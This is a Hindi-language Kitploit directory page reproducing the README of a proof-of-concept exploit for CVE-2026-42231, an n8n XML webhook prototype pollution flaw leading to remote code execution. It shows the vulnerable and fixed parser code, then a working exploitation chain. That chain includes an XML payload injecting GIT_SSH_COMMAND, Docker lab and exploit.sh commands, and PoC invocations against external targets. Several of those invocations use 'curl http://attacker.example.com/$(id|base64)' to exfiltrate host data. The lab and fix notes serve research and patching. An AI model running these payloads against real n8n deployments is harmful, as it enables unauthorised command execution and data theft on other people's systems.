Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2026-42231 — # CVE-2026-42231 के लिए प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट n8n XML वेबहुक में एक गंभीर प्रोटोटाइप प्रदूषण भेद्यता, जो रिमोट कोड निष्पादन की ओर ले जाती है। इसमें Docker लैब, Python PoC, और Node.js वेरिफायर शामिल हैं। | Kitploit
उपकरण/GitHubGitHub/rudsarkar/cve-2026-42231
भेद्यता विश्लेषणशोषणवेब एप्लिकेशन शोषणवेब सुरक्षा
GitHubrudsarkar/cve-2026-42231

CVE-2026-42231

# CVE-2026-42231 के लिए प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट n8n XML वेबहुक में एक गंभीर प्रोटोटाइप प्रदूषण भेद्यता, जो रिमोट कोड निष्पादन की ओर ले जाती है। इसमें Docker लैब, Python PoC, और Node.js वेरिफायर शामिल हैं।

रिपॉजिटरी देखें
13 महीने पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

GHSA-q5f4-99jv-pgg5 — n8n XML वेबहुक प्रोटोटाइप प्रदूषण → RCE

CVE: CVE-2026-42231
गंभीरता: क्रिटिकल (CVSS 10.0)
प्रभावित: n8n < 1.123.32 / < 2.17.4 / < 2.18.1
समाधान: n8n 1.123.32 / 2.17.4 / 2.18.1


भेद्यता सारांश

packages/cli/src/middlewares/body-parser.ts एक मॉड्यूल-स्तरीय सिंगलटन xml2js पार्सर बनाता है बिना tagNameProcessors या attrNameProcessors के। यह एक हमलावर को एक XML वेबहुक बॉडी भेजने की अनुमति देता है जिसमें एक <__proto__> तत्व होता है।

xml2js 0.6.2 पार्स किए गए ऑब्जेक्ट्स पर तत्व कुंजियाँ सेट करने के लिए डेटा डिस्क्रिप्टर के साथ Object.defineProperty का उपयोग करता है। क्योंकि हमेशा होता है, मान को एक सरणी में लपेटता है और इसे एक के रूप में संग्रहीत करता है — जो एक्सेसर को बायपास करता है जो सामान्य रूप से प्रोटोटाइप श्रृंखला को सुरक्षित रूप से अपडेट करेगा।

'__proto__' in obj
true
assignOrPush()
स्वयं की गणनीय डेटा प्रॉपर्टी
[[Set]]

स्वयं की __proto__ प्रॉपर्टी JSON.stringify (जो n8n द्वारा निष्पादित की जाती है जब निष्पादन डेटा SQLite/PostgreSQL में संग्रहीत किया जाता है) से बच जाती है, और पुनः लोड पर JSON.parse के बाद एक बाद का Object.assign(target, reloadedBody) target के प्रोटोटाइप को हमलावर-नियंत्रित ऑब्जेक्ट पर पुनर्निर्देशित करता है।

उन वर्कफ़्लोज़ में जिनमें एक Git नोड भी होता है जो SSH ऑपरेशन करता है, प्रदूषित प्रोटोटाइप simple-git के createInstanceConfig को एक spawnOptions / GIT_SSH_COMMAND मान उजागर करता है, जिससे OS-स्तरीय कमांड निष्पादन संभव होता है।


मूल कारण

root@kitploit:~
// packages/cli/src/middlewares/body-parser.ts  (VULNERABLE — < 1.123.32)
const xmlParser = new XmlParser({
    async: true,
    normalize: true,
    normalizeTags: true,   // lowercases tags — but does NOT block __proto__
    explicitArray: false,
    // ← NO tagNameProcessors
    // ← NO attrNameProcessors
});

समाधान (>= 1.123.32):

root@kitploit:~
function sanitizeXmlName(name: string): string {
    const unsafe = new Set(['__proto__', 'constructor', 'prototype']);
    return unsafe.has(name) ? `sanitized_${name}` : name;
}
const xmlParser = new XmlParser({
    async: true,
    normalize: true,
    normalizeTags: true,
    explicitArray: false,
    tagNameProcessors:  [sanitizeXmlName],
    attrNameProcessors: [sanitizeXmlName],
});

शोषण श्रृंखला

root@kitploit:~
1. हमलावर एक सार्वजनिक वेबहुक ट्रिगर पर XML POST भेजता है:

      POST /webhook/<id>  Content-Type: application/xml
      <?xml version="1.0" encoding="UTF-8"?>
      <root>
        <__proto__>
          <env GIT_SSH_COMMAND="attacker_cmd"/>
          <spawnoptions><shell>true</shell></spawnoptions>
        </__proto__>
      </root>

2. xml2js बॉडी पार्सर req.body.root बनाता है जहाँ '__proto__' एक
   स्वयं की गणनीय डेटा प्रॉपर्टी है:
      Object.getOwnPropertyDescriptor(req.body.root, '__proto__')
      → { value: [{}, {env: {$: {GIT_SSH_COMMAND: '...'}}, ...}],
          enumerable: true, writable: true, configurable: true }

3. n8n का deepCopy() for...in + hasOwnProp के माध्यम से स्वयं की कुंजियों को
   पुनरावृत्त करता है। असाइनमेंट  clone['__proto__'] = deepCopy(attackerArray)
   [[Set]] एक्सेसर के माध्यम से चुपचाप clone के प्रोटोटाइप को बदल देता है।

4. n8n निष्पादन डेटा को DB में क्रमबद्ध करता है:
      JSON.stringify(body.root)
      → '{"__proto__":[{},{"env":...,"spawnoptions":...}],"data":"..."}'
   __proto__ कुंजी शामिल है क्योंकि यह स्वयं की और गणनीय है।
   SQLite में execution_data तालिका में पुष्टि की गई।

5. पुनः लोड पर, JSON.parse '__proto__' को एक स्वयं की डेटा प्रॉपर्टी के रूप में
   पुनः बनाता है (सादा ऑब्जेक्ट, कोई सरणी लपेटन नहीं)।
      Object.assign(gitOptions, reloadedBody)
   gitOptions के प्रोटोटाइप को हमलावर-नियंत्रित ऑब्जेक्ट पर पुनर्निर्देशित करता है।

6. जब Git नोड simpleGit(gitOptions) को कॉल करता है:
      createInstanceConfig(gitOptions)
   प्रोटोटाइप श्रृंखला के माध्यम से config.spawnOptions पढ़ता है → सत्य →
   spawnOptionsPlugin पंजीकृत होता है।
   env ऑब्जेक्ट में GIT_SSH_COMMAND के साथ, git अगले SSH ऑपरेशन पर
   हमलावर के कमांड को निष्पादित करता है।

normalizeTags पर ध्यान दें

normalizeTags: true सभी XML टैग नामों को लोअरकेस करता है, इसलिए चाइल्ड तत्व जैसे <GIT_SSH_COMMAND> पार्स किए गए ऑब्जेक्ट में git_ssh_command बन जाते हैं। पर्यावरण चर नामों के लिए केस संरक्षित करने हेतु, XML विशेषताओं का उपयोग करें (विशेषता नाम normalizeTags द्वारा सामान्यीकृत नहीं होते हैं):

root@kitploit:~
<env GIT_SSH_COMMAND="attacker_cmd"/>

पूर्व-आवश्यकताएँ

  1. एक सार्वजनिक वेबहुक ट्रिगर (प्रमाणीकरण = कोई नहीं, Content-Type = XML) एक सक्रिय वर्कफ़्लो में मौजूद होना चाहिए।
  2. पूर्ण RCE पथ के लिए, वर्कफ़्लो में एक Git नोड भी होना चाहिए जो SSH-प्रमाणित ऑपरेशन (SSH URL के माध्यम से क्लोन / पुश) करता है।
  3. n8n संस्करण < 1.123.32।

प्रयोगशाला सेटअप

आवश्यकताएँ

  • Docker ≥ 24 जिसमें Compose v2 हो
  • Python 3.9+ (Docker के बिना PoC के स्टैंडअलोन उपयोग के लिए)
  • लोकलहोस्ट पर पोर्ट 5678 खाली हो

एक-कमांड सेटअप

root@kitploit:~
chmod +x exploit.sh
./exploit.sh setup

यह n8nio/n8n:1.123.22 (अंतिम प्रभावित रिलीज़) खींचता है, हमलावर छवि बनाता है, http://localhost:5678 पर भेद्य लक्ष्य शुरू करता है, स्वचालित रूप से एक वेबहुक वर्कफ़्लो बनाता और सक्रिय करता है, और वेबहुक URL को .webhook_state में सहेजता है।


एंड-टू-एंड शोषण वॉकथ्रू

1. सेटअप

root@kitploit:~
./exploit.sh setup

अपेक्षित आउटपुट (संक्षिप्त):

root@kitploit:~
[*] Pulling vulnerable n8n image (1.123.22) ...
[*] Building attacker image ...
[*] Starting vulnerable n8n target ...
[*] Waiting for n8n to become healthy ...
[*] Creating webhook workflow (Webhook → Code node) ...
[+] Lab is ready.

    Run:  ./exploit.sh demo        # verify the pollution primitive
          ./exploit.sh exploit     # deliver all three RCE payloads

2. प्रदूषण प्रिमिटिव सत्यापित करें (डेमो मोड)

root@kitploit:~
./exploit.sh demo

PoC एक सत्यापन पेलोड भेजता है और n8n वर्कफ़्लो से पार्स की गई बॉडी को वापस प्रतिध्वनित दिखाता है। एक भेद्य इंस्टेंस लौटाता है:

root@kitploit:~
[+] HTTP 200
    Response: {"step1_ownEnumerableProto":true,
               "step1_descriptor":{"enumerable":true,
                 "value":"[{},{\"polluted\":\"GHSA-q5f4-99jv-pgg5-CONFIRMED\"}]"},
               "step2_deepCopySimulated":true,
               "step3_jsonRoundTripOwn":true,
               "step3_jsonStr":"{\"__proto__\":[...],\"legit\":\"harmless-data\"}",
               "step4_objectAssignPolluted":true, ...}

3. RCE-इरादे वाले पेलोड वितरित करें

root@kitploit:~
./exploit.sh exploit
# या एक कस्टम कमांड के साथ:
./exploit.sh exploit "curl http://attacker.example.com/\$(id|base64)"

तीन पूरक पेलोड वितरित किए जाते हैं:

पेलोडतकनीक
A<__proto__> टैग — XML विशेषता के रूप में GIT_SSH_COMMAND
B<constructor><prototype> श्रृंखला
Cenv विशेषताओं के साथ नेस्टेड <__proto__>

4. परिणाम देखें (वर्कफ़्लो में Git नोड के साथ)

  • n8n निष्पादन लॉग में, git कमांड त्रुटि देखें — यदि RCE सक्रिय हुआ तो इसमें आपके इंजेक्ट किए गए GIT_SSH_COMMAND का आउटपुट शामिल होगा।
  • Code नोड के साथ डेमो मोड में, वर्कफ़्लो प्रतिक्रिया बॉडी में श्रृंखला की पुष्टि करते हुए "step4_objectAssignPolluted": true शामिल होगा।

स्टैंडअलोन उपयोग (Docker के बिना)

root@kitploit:~
pip install -r requirements.txt

# केवल सत्यापन — Git नोड की आवश्यकता नहीं:
python3 poc_GHSA-q5f4-99jv-pgg5.py \
    --target http://n8n.target.com \
    --webhook-id <webhook-path> \
    --demo

# पूर्ण शोषण — Webhook + Git/SSH नोड वर्कफ़्लो की आवश्यकता है:
python3 poc_GHSA-q5f4-99jv-pgg5.py \
    --target http://n8n.target.com \
    --webhook-id <webhook-path> \
    --cmd 'curl http://attacker.example.com/$(id|base64)'

वेबहुक URL प्रारूप (n8n v1.123.x)

कुछ परिनियोजनों में n8n वेबहुक को /webhook/<workflowId>/webhook/<path> के रूप में पंजीकृत करता है। यदि लघु रूप /webhook/<path> 404 लौटाता है, तो वर्कफ़्लो-ID उपसर्ग को --target के रूप में पास करें:

root@kitploit:~
python3 poc_GHSA-q5f4-99jv-pgg5.py \
    --target "http://n8n.target.com/webhook/<workflowId>" \
    --webhook-id <path> \
    --demo

स्थानीय सत्यापन (Node.js, कोई लाइव इंस्टेंस आवश्यक नहीं)

n8n द्वारा उपयोग किए गए सटीक xml2js पार्सर कॉन्फ़िगरेशन को पुन: उत्पन्न करता है और सभी चार श्रृंखला चरणों से गुजरता है:

root@kitploit:~
cd /tmp/xml2js-test && npm install [email protected]
node /path/to/verify_GHSA-q5f4-99jv-pgg5.js

भेद्य कॉन्फ़िगरेशन पर अपेक्षित आउटपुट:

root@kitploit:~
[STEP 1] VULNERABLE — '__proto__' is own enumerable data property
         descriptor: { value: '[Object.prototype, {"polluted":"CONFIRMED"}]',
                       enumerable: true, writable: true, configurable: true }
[STEP 1] Fixed parser renamed __proto__ to sanitized___proto__
[STEP 2] deepCopy prototype changed → clone proto[1].polluted = "CONFIRMED"
[STEP 3] After JSON round-trip + Object.assign → target.polluted = "undefined"
[ RCE ]  If target is used as simpleGit config AND the prototype exposes
         e.g. { spawnOptions: { shell: true } }, git will be spawned through a shell
[STEP 4] mockGitConfig.spawnOptions = {"shell":"/bin/bash"} (found via prototype chain)
[ RCE ]  simpleGit would call: spawnOptionsPlugin(config.spawnOptions)
══ RESULT: Instance uses VULNERABLE xml2js config (no sanitizeXmlName) ══

मैनुअल Docker कमांड

root@kitploit:~
# हमलावर छवि बनाएं
docker build -t n8n-proto-pollution-poc .

# डेमो मोड (साझा प्रयोगशाला नेटवर्क से जुड़ता है)
docker run --rm --network ghsa-q5f4-99jv-pgg5_lab \
    n8n-proto-pollution-poc \
    --target http://n8n-vuln:5678/webhook/<workflowId> \
    --webhook-id cve-2026-42231-poc \
    --demo

# पूर्ण शोषण
docker run --rm --network ghsa-q5f4-99jv-pgg5_lab \
    n8n-proto-pollution-poc \
    --target http://n8n-vuln:5678/webhook/<workflowId> \
    --webhook-id cve-2026-42231-poc \
    --cmd 'curl http://attacker.example.com/$(id|base64)'

# बाहरी लक्ष्य के विरुद्ध (कोई नेटवर्क फ़्लैग आवश्यक नहीं)
docker run --rm n8n-proto-pollution-poc \
    --target https://n8n.example.com \
    --webhook-id <path> \
    --demo

सफाई

root@kitploit:~
./exploit.sh clean

कंटेनरों को रोकता है और वॉल्यूम (SQLite डेटाबेस सहित) हटाता है।


फ़ाइलें

फ़ाइलविवरण
poc_GHSA-q5f4-99jv-pgg5.pyस्टैंडअलोन Python HTTP PoC — तीन XML पेलोड वेरिएंट, --demo और --cmd मोड
verify_GHSA-q5f4-99jv-pgg5.jsNode.js स्थानीय श्रृंखला सत्यापनकर्ता — लाइव इंस्टेंस के बिना सभी 4 शोषण चरणों से गुजरता है
Dockerfileहमलावर कंटेनर छवि
docker-compose.ymlपूर्ण प्रयोगशाला: भेद्य n8n + हमलावर कंटेनर
exploit.shसेटअप, डेमो, शोषण और सफाई के लिए सहायक स्क्रिप्ट
requirements.txtPython निर्भरताएँ

संदर्भ

  • GHSA-q5f4-99jv-pgg5
  • n8n रिलीज़ 1.123.32 चेंजलॉग
  • xml2js assignOrPush — Object.defineProperty डेटा डिस्क्रिप्टर
  • Object.defineProperty के माध्यम से प्रोटोटाइप प्रदूषण
टूल डाउनलोड करें